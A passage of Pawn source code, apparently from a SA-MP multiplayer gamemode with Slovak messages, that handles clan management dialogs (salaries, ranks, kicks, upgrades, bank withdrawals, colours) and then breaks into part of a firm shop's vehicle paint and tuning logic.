                                    SendClientMessage(i, COLOR_GREEN, f0064875);

                                    Player[playerid][ClanRank] = Player[i][ClanRank];
                                    Player[i][ClanRank]=0;
                                }
                            }
                        }
                    }
                }

                if(f0098451 == false)
                {
                    new pwayXf47[32];
                    format(pwayXf47,32, "SL/%s.cfg", dini_Get(cway9f99, P_Name));

                    if(dini_Exists(pwayXf47))
                    {
                        Player[playerid][ClanRank] = dini_Int(pwayXf47, "ClanRank");
                        dini_IntSet(pwayXf47, "ClanRank", 0);
                    }
                }

                new item11 = dini_Int(cway9f99, "P0_Plat");
                new item12[32];
                format(item12,32, "%s", dini_Get(cway9f99, "P0_Hodnost"));
                new item13[32];
                format(item13,32, "%s", dini_Get(cway9f99, "P0_Name"));
                new item21 = dini_Int(cway9f99, P_Plat);
                new item22[32];
                format(item22,32, "%s", dini_Get(cway9f99, P_Hodnost));
                new item23[32];
                format(item23,32, "%s", dini_Get(cway9f99, P_Name));

                dini_IntSet(cway9f99, "P0_Plat", item21);
                dini_Set(cway9f99, "P0_Hodnost", item22);
                dini_Set(cway9f99, "P0_Name", item23);
                dini_IntSet(cway9f99, P_Plat, item11);
                dini_Set(cway9f99, P_Hodnost, item12);
                dini_Set(cway9f99, P_Name, item13);

                dini_Set(cway9f99, "Majitel", dini_Get(cway9f99, "P0_Name"));

                Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                new c3Dstring[150];
                format(c3Dstring, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway9f99, "Name"), dini_Get(cway9f99, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3Dstring, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);

                Player[playerid][IPIP]=false;
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_P_Hodnost)
        {
            if(response == 1)
            {
                new cway5f90[64];
                format(cway5f90,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new P_Name[16];
                format(P_Name,16, "P%d_Name", Player[playerid][Clan_SavePlayerRank]);

                new f85gt4[128];
                format(f85gt4,128, "%s - Zmeniť plat", dini_Get(cway5f90, P_Name));

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Hodnost, DIALOG_STYLE_INPUT, f85gt4, "{ff0000}Nezadal si plat !\n{ffff50}Zadaj hráčovu novu hodnosť:", "Zmeniť", "Cancel");
                else if(strlen(inputtext) > 20) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Hodnost, DIALOG_STYLE_INPUT, f85gt4, "{ff0000}Maximálne 20 znakov !\n{ffff50}Zadaj hráčovu novu hodnosť:", "Zmeniť", "Cancel");
                else
                {
                    new Name[24];
                    GetPlayerName(playerid, Name, 24);

                    new pstringXf2[128];
                    format(pstringXf2,128, "~y~%s~w~ zmenil hracovi ~y~%s~w~ hodnost na:~n~~y~%s", Name, dini_Get(cway5f90, P_Name), inputtext);

                    new P_Hodnost[16];
                    format(P_Hodnost,16, "P%d_Hodnost", Player[playerid][Clan_SavePlayerRank]);

                    dini_Set(cway5f90, P_Hodnost, inputtext);

                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(Player[playerid][ClanP] == Player[i][ClanP])
                                {
                                    FormatPlayerInfoBox(i, "~g~Clan", pstringXf2, 3000);
                                    Player[i][IPIP]=true;
                                    SetTimerEx("IsPlayerInPickupFalse",3500,0,"i",i);
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_P_Plat)
        {
            if(response == 1)
            {
                new cway5f08[64];
                format(cway5f08,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new P_Name[16];
                format(P_Name,16, "P%d_Name", Player[playerid][Clan_SavePlayerRank]);

                new f80gt4[128];
                format(f80gt4,128, "%s - Zmeniť plat", dini_Get(cway5f08, P_Name));

                     if(!strlen(inputtext)) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Plat, DIALOG_STYLE_INPUT, f80gt4, "{ff0000}Nezadal si plat !\n{ffff50}Zadaj hráčov nový plat:", "Zmeniť", "Cancel");
                else if(strval(inputtext) <= 0) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Plat, DIALOG_STYLE_INPUT, f80gt4, "{ff0000}Nemôžeš zadať nulu alebo zápornou hodnotu !\n{ffff50}Zadaj hráčov nový plat:", "Zmeniť", "Cancel");
                else if(strval(inputtext) > 999999) return ShowPlayerDialog(playerid,Dialog_ClanA_P_Plat, DIALOG_STYLE_INPUT, f80gt4, "{ff0000}Maximálně 999 999$ !\n{ffff50}Zadaj hráčov nový plat:", "Zmeniť", "Cancel");
                else
                {
                    new Name[24];
                    GetPlayerName(playerid, Name, 24);

                    new pstringXf8[128];
                    format(pstringXf8,128, "~y~%s~w~ zmenil hracovi ~y~%s~w~ plat na %d$ !", Name, dini_Get(cway5f08, P_Name), strval(inputtext));

                    new P_Plat[16];
                    format(P_Plat,16, "P%d_Plat", Player[playerid][Clan_SavePlayerRank]);

                    dini_IntSet(cway5f08, P_Plat, strval(inputtext));

                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(i))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(Player[playerid][ClanP] == Player[i][ClanP])
                                {
                                    FormatPlayerInfoBox(i, "~g~Clan", pstringXf8, 3000);
                                    Player[i][IPIP]=true;
                                    SetTimerEx("IsPlayerInPickupFalse",3500,0,"i",i);
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_PlayerSettings)
        {
            if(response == 1)
            {
                new cway5f09[64];
                format(cway5f09,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new P_Name[16];
                format(P_Name,16, "P%d_Name", Player[playerid][Clan_SavePlayerRank]);

                new f00gt4[128];

                if(listitem == 0)
                {
                    format(f00gt4,128, "%s - Zmeniť plat", dini_Get(cway5f09, P_Name));
                    ShowPlayerDialog(playerid,Dialog_ClanA_P_Plat, DIALOG_STYLE_INPUT, f00gt4, "{ffff50}Zadaj hráčov nový plat:", "Zmeniť", "Cancel");
                }

                if(listitem == 1)
                {
                    format(f00gt4,128, "%s - Zmeniť hodnost", dini_Get(cway5f09, P_Name));
                    ShowPlayerDialog(playerid,Dialog_ClanA_P_Hodnost, DIALOG_STYLE_INPUT, f00gt4, "{ffff50}Zadaj hráčovu novu hodnost:", "Zmeniť", "Cancel");
                }

                if(listitem == 2)
                {
                    format(f00gt4,128, "%s - Nastavit majiteľom clanu", dini_Get(cway5f09, P_Name));
                    ShowPlayerDialog(playerid,Dialog_ClanA_P_Majitel1, DIALOG_STYLE_MSGBOX, f00gt4, "{ff0000}Si si istý že chceš tohto hráča nastaviť mejiteľom clanu ?!", "Ano", "Cancel");
                }

                if(listitem == 3)
                {
                    if(Player[playerid][Clan_SavePlayerRank] == 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Nemôžeš vyhodiť sám sebe !","OK","");
                    else
                    {
                        new Name[24];
                        GetPlayerName(playerid,Name,24);

                        new string[64];
                        format(string,64, "~y~%s~w~ vyhodil hrace ~y~%s~w~ z clanu !", Name, dini_Get(cway5f09, P_Name));

                        for(new i=0; i<=Server[ConP]; i++)
                        {
                            if(IsPlayerConnected(i))
                            {
                                if(!IsPlayerNPC(i))
                                {
                                    if(Player[playerid][ClanP] == Player[i][ClanP])
                                    {
                                        FormatPlayerInfoBox(i, "~g~Clan", string, 2750);
                                        Player[i][IPIP]=true;
                                        SetTimerEx("IsPlayerInPickupFalse",3000,0,"i",i);
                                    }
                                }
                            }
                        }

                        //------------------------------------------------------

                        new bool:IsTargetPlayerConnected=false;

                        for(new i=0; i<=Server[ConP]; i++)
                        {
                            if(IsPlayerConnected(i))
                            {
                                if(!IsPlayerNPC(i))
                                {
                                    if(Player[i][ClanP] == Player[playerid][ClanP])
                                    {
                                        if(Player[i][ClanRank] == Player[playerid][Clan_SavePlayerRank])
                                        {
                                            IsTargetPlayerConnected=true;
                                            OnPlayerLeaveClan(i);

                                            new LeaveMessage[128];
                                            format(LeaveMessage,128, "%s ťa vyrazil z clanu !", Name);
                                            SendClientMessage(i, COLOR_RED, LeaveMessage);
                                        }
                                    }
                                }
                            }
                        }

                        if(IsTargetPlayerConnected == false)
                        {
                            new pwayXf70[32];
                            format(pwayXf70,32, "SL/%s.cfg", dini_Get(cway5f09, P_Name));

                            dini_IntSet(pwayXf70, "Clan", 9999);
                            dini_IntSet(pwayXf70, "ClanRank", 9999);
                            dini_IntSet(pwayXf70, "Team", 0);

                            for(new q=Player[playerid][Clan_SavePlayerRank]; q<12; q++)
                            {
                                new oP_Plat[16];
                                new oP_Hodnost[16];
                                new oP_Name[16];
                                new nP_Plat[16];
                                new nP_Hodnost[16];
                                new nP_Name[16];

                                format(oP_Plat,16, "P%d_Plat", q);
                                format(oP_Hodnost,16, "P%d_Hodnost", q);
                                format(oP_Name,16, "P%d_Name", q);
                                format(nP_Plat,16, "P%d_Plat", (q+1));
                                format(nP_Hodnost,16, "P%d_Hodnost", (q+1));
                                format(nP_Name,16, "P%d_Name", (q+1));

                                dini_IntSet(cway5f09, oP_Plat, dini_Int(cway5f09, nP_Plat));
                                dini_Set   (cway5f09, oP_Hodnost, dini_Get(cway5f09, nP_Hodnost));
                                dini_Set   (cway5f09, oP_Name, dini_Get(cway5f09, nP_Name));
                            }

                            Clan[Player[playerid][ClanP]][Players]--;
                            dini_IntSet(cway5f09, "Players", Clan[Player[playerid][ClanP]][Players]);
                        }

                        for(new q=0; q<12; q++)
                        {
                            new CyclusPlayerName[64];
                            format(CyclusPlayerName,64, "P%d_Name", q);

                            new CyclusPlayerWay[64];
                            format(CyclusPlayerWay,64, "SL/%s.cfg", dini_Get(cway, CyclusPlayerName));

                            if(dini_Exists(CyclusPlayerWay))
                            {
                                dini_IntSet(CyclusPlayerWay, "ClanRank", q);
                            }
                        }

                        for(new i=0; i<=Server[ConP]; i++)
                        {
                            if(IsPlayerConnected(i))
                            {
                                if(Player[i][ClanP] == Player[playerid][ClanP])
                                {
                                    new CPway[32], CPName[24];
                                    GetPlayerName(i, CPName, 24);
                                    format(CPway, 32, "SL/%s.cfg", CPName);
                                    
                                    if(playerid != i) Player[i][ClanRank] = dini_Int(CPway, "ClanRank");
                                }
                            }
                        }
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_PlayersSettings)
        {
            if(response == 1)
            {
                Player[playerid][IPIP]=true;

                new cway5f09[64];
                format(cway5f09,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                Player[playerid][Clan_SavePlayerRank] = listitem;

                new P_Name[16];
                format(P_Name,16, "P%d_Name", listitem);

                ShowPlayerDialog(playerid,Dialog_ClanA_PlayerSettings,DIALOG_STYLE_LIST, dini_Get(cway5f09, P_Name), "Zmeniť plat\nZmeniť hodnosť\nNastaviť majiteľom clanu\nVyhodiť", "OK", "Cancel");
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_Upgrades)
        {
            if(response == 1)
            {
                Player[playerid][IPIP]=true;

                new cway1f00[64];
                format(cway1f00,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new clanidXf01 = Player[playerid][ClanP];

                if(listitem == 0)
                {
                    if(Clan[clanidXf01][Bank] < 1000000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}V clanu nie je dostatok peňazi (min 1 000 000$) !","OK","");
                    else if(Clan[clanidXf01][Vehicles] >= 5) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Clan môže mať maximálne 5 parkovacích miest !","OK","");
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Pridal si 1 parkovacie miesto !", 4000);

                        SetTimerEx("IsPlayerInPickupFalse", 4500, 0, "i", playerid);

                        Clan[clanidXf01][Vehicles]++;
                        dini_IntSet(cway1f00, "Vehicles", Clan[clanidXf01][Vehicles]);

                        Clan[clanidXf01][Bank]-=1000000;
                        dini_IntSet(cway1f00, "Bank", Clan[clanidXf01][Bank]);

                        Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                        new c3DstringXf04[150];
                        format(c3DstringXf04, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway1f00, "Name"), dini_Get(cway1f00, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                        Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3DstringXf04, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);
                    }
                }

                if(listitem == 1)
                {
                    if(Clan[clanidXf01][Bank] < 250000) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}V clanu nie je dostatok peňazi (min 250 000$) !","OK","");
                    else if(Clan[clanidXf01][WeaponSlots] >= 8) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Clan môže mať maximálne 8 weapon slotov !","OK","");
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Pridal si 1 weapon slot !", 4000);

                        SetTimerEx("IsPlayerInPickupFalse", 4500, 0, "i", playerid);

                        Clan[clanidXf01][WeaponSlots]++;
                        dini_IntSet(cway1f00, "WeaponSlots", Clan[clanidXf01][WeaponSlots]);

                        Clan[clanidXf01][Bank]-=250000;
                        dini_IntSet(cway1f00, "Bank", Clan[clanidXf01][Bank]);

                        Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                        new c3DstringXf04[150];
                        format(c3DstringXf04, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway1f00, "Name"), dini_Get(cway1f00, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                        Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3DstringXf04, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);
                    }
                }

                if(listitem == 2)
                {
                    ShowPlayerDialog(playerid,Dialog_ClanA_UpgrdIntList,DIALOG_STYLE_LIST,"Zmeniť interiér sídla","24 / 7 (100 000$)\nSmall Bar (750 000$)\nBig Bar (1 500 000$)\nRestauration (2 000 000$)\nWar House (3 000 000$)\nLuxus (5 000 000$)","Zmeniť","Cancel");
                }

                if(listitem == 3)
                {
                    new V_id[16];
                    format(V_id,16, "V%d_id", (Clan[clanidXf01][Vehicles] - 1));

                         if(dini_Int(cway1f00, V_id) != 0) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Nemôžeš odobrať parkovacie miesto na ktorom je zakupene vozidlo !","OK","");
                    else if(Clan[clanidXf01][Vehicles] <= 1) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Môže byť minimálna 1 parkovacie miesto !","OK","");
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Odobral si 1 parkovacie miesto !", 4000);

                        SetTimerEx("IsPlayerInPickupFalse", 4500, 0, "i", playerid);

                        Clan[clanidXf01][Vehicles]--;
                        dini_IntSet(cway1f00, "Vehicles", Clan[clanidXf01][Vehicles]);
                    }
                }

                if(listitem == 4)
                {
                    if(Clan[clanidXf01][WeaponSlots] <= 3) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}Mužou být minimálně 3 weapon sloty !","OK","");
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Odobral si 1 weapon slot !", 4000);

                        SetTimerEx("IsPlayerInPickupFalse", 4500, 0, "i", playerid);

                        Clan[clanidXf01][WeaponSlots]--;
                        dini_IntSet(cway1f00, "WeaponSlots", Clan[clanidXf01][WeaponSlots]);
                    }
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_UpgrdIntList)
        {
            if(response == 1)
            {
                new cway98f0[64];
                format(cway98f0,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new intid = listitem;
                new price;

                if(listitem == 0) price = 100000;
                if(listitem == 1) price = 750000;
                if(listitem == 2) price = 1500000;
                if(listitem == 3) price = 2000000;
                if(listitem == 4) price = 3000000;
                if(listitem == 5) price = 5000000;

                if(Clan[Player[playerid][ClanP]][Bank] < price) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"Info Box","{ff0000}V clanu nie je dostatok peňazí !","OK","");
                else
                {
                    for(new i=0; i<=Server[ConP]; i++)
                    {
                        if(IsPlayerConnected(playerid))
                        {
                            if(!IsPlayerNPC(i))
                            {
                                if(GetPlayerVirtualWorld(playerid) == Clan[Player[playerid][ClanP]][cVWID])
                                {
                                    SetPlayerPos(playerid, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ]);
                                    SetPlayerVirtualWorld(i, 0);
                                    SetPlayerInterior(i, 0);
                                }
                            }
                        }
                    }

                    Clan[Player[playerid][ClanP]][cInterior] = intid;
                    dini_IntSet(cway98f0, "Interior", intid);

                    Clan[Player[playerid][ClanP]][Bank]-=price;
                    dini_IntSet(cway98f0, "Bank", Clan[Player[playerid][ClanP]][Bank]);

                    if(Clan[Player[playerid][ClanP]][cInterior] == 0) //24-7
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = -27.049;
                        Clan[Player[playerid][ClanP]][cpiY] = -56.755;
                        Clan[Player[playerid][ClanP]][cpiZ] = 1003.549;
                        Clan[Player[playerid][ClanP]][cIntID] = 6;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 1) //bar 1
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = -228.868;
                        Clan[Player[playerid][ClanP]][cpiY] = 1401.141;
                        Clan[Player[playerid][ClanP]][cpiZ] = 27.768;
                        Clan[Player[playerid][ClanP]][cIntID] = 18;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 2) //bar 2
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = 501.936;
                        Clan[Player[playerid][ClanP]][cpiY] = -68.261;
                        Clan[Player[playerid][ClanP]][cpiZ] = 998.765;
                        Clan[Player[playerid][ClanP]][cIntID] = 11;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 3) //restauration
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = 377.164;
                        Clan[Player[playerid][ClanP]][cpiY] = -178.254;
                        Clan[Player[playerid][ClanP]][cpiZ] = 1000.641;
                        Clan[Player[playerid][ClanP]][cIntID] = 17;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 4) //war house
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = 2807.259;
                        Clan[Player[playerid][ClanP]][cpiY] = -1174.359;
                        Clan[Player[playerid][ClanP]][cpiZ] = 1025.581;
                        Clan[Player[playerid][ClanP]][cIntID] = 8;
                    }
                    else if(Clan[Player[playerid][ClanP]][cInterior] == 5) //double stairs
                    {
                        Clan[Player[playerid][ClanP]][cpiX] = 2324.490;
                        Clan[Player[playerid][ClanP]][cpiY] = -1148.906;
                        Clan[Player[playerid][ClanP]][cpiZ] = 1050.723;
                        Clan[Player[playerid][ClanP]][cIntID] = 12;
                    }

                    Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                    new c3DstringXf02[150];
                    format(c3DstringXf02, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway98f0, "Name"), dini_Get(cway98f0, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                    Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3DstringXf02, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);

                    FormatPlayerInfoBox(playerid, "~g~Clan", "~w~Zmenil si interier clanu!", 3000);
                    Player[playerid][IPIP]=true;
                    SetTimerEx("IsPlayerInPickupFalse", 3500, 0, "i", playerid);
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_GetClanBank)
        {
            if(response == 1)
            {
                new cway22f8[64];
                format(cway22f8,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new XXXf0014[256];

                if(!strlen(inputtext))
                {
                    format(XXXf0014,256, "{ff0000}Nezadal si sumu !\n{ffff50}Aktuálny stav konta: %d$\nZadaj sumu ktoru chceš vybrať z clanu:", Clan[Player[playerid][ClanP]][Bank]);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrat peníze u účtu clanu", XXXf0014,"Vybrat","Cancel");
                }
                else if(strval(inputtext) <= 0)
                {
                    format(XXXf0014,256, "{ff0000}Nemôžeš zadať nulu alebo zápornou hodnotu !\n{ffff50}Aktuálni stav konta: %d$\nZadaj sumu ktoru chceš vybraťt z clanu:", Clan[Player[playerid][ClanP]][Bank]);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrat peníze u účtu clanu", XXXf0014,"Vybrat","Cancel");
                }
                else if(strval(inputtext) > Clan[Player[playerid][ClanP]][Bank])
                {
                    format(XXXf0014,256, "{ff0000}V clanu nie je dostatok peňazi !\n{ffff50}Aktuálny stav konta: %d$\nZadaj sumu ktoru chceš vybrať z clanu:", Clan[Player[playerid][ClanP]][Bank]);
                    return ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrať peniaze u účtu clanu", XXXf0014,"Vybrat","Cancel");
                }
                else
                {
                    GivePlayerACMoney(playerid, strval(inputtext));

                    Clan[Player[playerid][ClanP]][Bank] -= strval(inputtext);
                    dini_IntSet(cway22f8, "Bank", Clan[Player[playerid][ClanP]][Bank]);

                    format(XXXf0014,256, "{00b800}Vybral si z clanu %d$ !\n{ffff50}Aktuálny stav konta: %d$\nZadaj sumu ktoru chceš vybrať z clanu:", strval(inputtext), Clan[Player[playerid][ClanP]][Bank]);
                    ShowPlayerDialog(playerid,Dialog_ClanA_GetClanBank,DIALOG_STYLE_INPUT,"Vybrať peniaze u účtu clanu", XXXf0014,"Vybrat","Cancel");

                    Delete3DTextLabel(Clan[Player[playerid][ClanP]][cText3D]);

                    new c3DstringXf08[150];
                    format(c3DstringXf08, 150, "[ Clan ]\n%s\nMajitel: %s\nBank: %d$", dini_Get(cway22f8, "Name"), dini_Get(cway22f8, "Majitel"), Clan[Player[playerid][ClanP]][Bank]);

                    Clan[Player[playerid][ClanP]][cText3D] = Create3DTextLabel(c3DstringXf08, COLOR_PURPLE, Clan[Player[playerid][ClanP]][cpeX], Clan[Player[playerid][ClanP]][cpeY], Clan[Player[playerid][ClanP]][cpeZ], 50, 0);
                }
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_ClanA_ChangeClanColor)
        {
            if(response == 1)
            {
                new cway43f3[64];
                format(cway43f3,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                new color;

                if(listitem == 0) color = COLOR_BLACK;
                if(listitem == 1) color = COLOR_WHITE;
                if(listitem == 2) color = COLOR_GRAY;
                if(listitem == 3) color = COLOR_YELLOW;
                if(listitem == 4) color = COLOR_YELLOW_LIGHT;
                if(listitem == 5) color = COLOR_GREEN;
                if(listitem == 6) color = COLOR_GREEN_DARK;
                if(listitem == 7) color = COLOR_GREEN_LIGHT;
                if(listitem == 8) color = COLOR_PURPLE;
                if(listitem == 9) color = COLOR_PINK;
                if(listitem == 10) color = COLOR_BLUE;
                if(listitem == 11) color = COLOR_BLUE_DARK;
                if(listitem == 12) color = COLOR_BROWN;
                if(listitem == 13) color = COLOR_CYAN;
                if(listitem == 14) color = COLOR_ORANGE;

                dini_IntSet(cway43f3, "Color", color);

                SendClientMessage(playerid, color, "Zmenil si farbu clanu");

                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][ClanP] == Player[playerid][ClanP])
                            {
                                SetPlayerColor(i, color);
                            }
                        }
                    }
                }

                Player[playerid][IPIP]=false;
            }

            if(response == 0) Player[playerid][IPIP]=false;
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

                    if(firmtype == 2)
                    {
                        if(vehicleid > 0)
                        {
                            if(GetPlayerACMoney(playerid) < dini_Int(fway, Item_price)) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                            else
                            {
                                FormatPlayerInfoBox(playerid,"~g~Firma","Kupil si si novu farbu na svoju karu !",3000);

                                GivePlayerACMoney(playerid, -dini_Int(fway, Item_price));

                                Firm[Player[playerid][FirmID]][Trzba] += dini_Int(fway, Item_price);

                                dini_IntSet(fway, "Trzba", Firm[Player[playerid][FirmID]][Trzba]);

                                Delete3DTextLabel(Firm[Player[playerid][FirmID]][Text3D]);
                                format(gBIGSTRING,sizeof(gBIGSTRING), "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmID]][Trzba]);
                                Firm[Player[playerid][FirmID]][Text3D] = Create3DTextLabel(gBIGSTRING, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmID]][fpX], Firm[Player[playerid][FirmID]][fpY], Firm[Player[playerid][FirmID]][fpZ], 40, 0);

                                ChangeVehicleColor(vehicleid, dini_Int(fway, Item_id), dini_Int(fway, Item_id));

                                if(Player[playerid][HouseP] != 9999)
                                {
                                    for(new s=0; s<HouseStates[Player[playerid][HouseP]][Vehicles]; s++)
                                    {
                                        if(Car_State[s][Player[playerid][HouseP]] == true)
                                        {
                                            if(vehicleid == Car[s][Player[playerid][HouseP]])
                                            {
                                                new hway[32];
                                                format(hway,32,"SL/Server/Houses/House%d.cfg", Player[playerid][HouseP]);

                                                new V_color1[32];
                                                format(V_color1,32, "V%d_color1", s);
                                                new V_color2[32];
                                                format(V_color2,32, "V%d_color2", s);

                                                dini_IntSet(hway, V_color1, dini_Int(fway, Item_id));
                                                dini_IntSet(hway, V_color2, dini_Int(fway, Item_id));

                                                return 0;
                                            }
                                        }
                                    }
                                }

                                if(Player[playerid][ClanP] != 9999)
                                {
                                    for(new s=0; s<Clan[Player[playerid][ClanP]][Vehicles]; s++)
                                    {
                                        if(ClanVehicle_State[s][Player[playerid][ClanP]] == true)
                                        {
                                            if(vehicleid == ClanVehicle[s][Player[playerid][ClanP]])
                                            {
                                                new cway[64];
                                                format(cway,64,"SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

                                                new V_color1[32];
                                                format(V_color1,32, "V%d_color1", s);
                                                new V_color2[32];
                                                format(V_color2,32, "V%d_color2", s);

                                                dini_IntSet(cway, V_color1, dini_Int(fway, Item_id));
                                                dini_IntSet(cway, V_color2, dini_Int(fway, Item_id));

                                                return 0;
                                            }
                                        }
                                    }
                                }
                               
                                for(new s=0; s<5; s++)
                                {
                                    if(PlayerVehicle_State[s][playerid] == true)
                                    {
                                        if(vehicleid == PlayerVehicle[s][playerid])
                                        {
                                            new pway[32], Name[24];
                                            GetPlayerName(playerid, Name, 24);
                                            format(pway,32,"SL/%s.cfg", Name);

                                            new V_color1[32];
                                            format(V_color1,32, "V%d_color1", s);
                                            new V_color2[32];
                                            format(V_color2,32, "V%d_color2", s);

                                            dini_IntSet(pway, V_color1, dini_Int(fway, Item_id));
                                            dini_IntSet(pway, V_color2, dini_Int(fway, Item_id));

                                            return 0;
                                        }
                                    }
                                }
                            }
                        }
                    }

                    //---------------------VEHICLE TUNNING--------------------------

                    if(firmtype == 3)
                    {
                        if(vehicleid > 0)
                        {
                            new modelid = GetVehicleModel(vehicleid);

                            if(modelid != 560 && modelid != 562 && modelid != 559 && modelid != 565 && modelid != 558) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Iba pre vozidla: Sultan, Jester, Elegy, Flash, Uranus !");
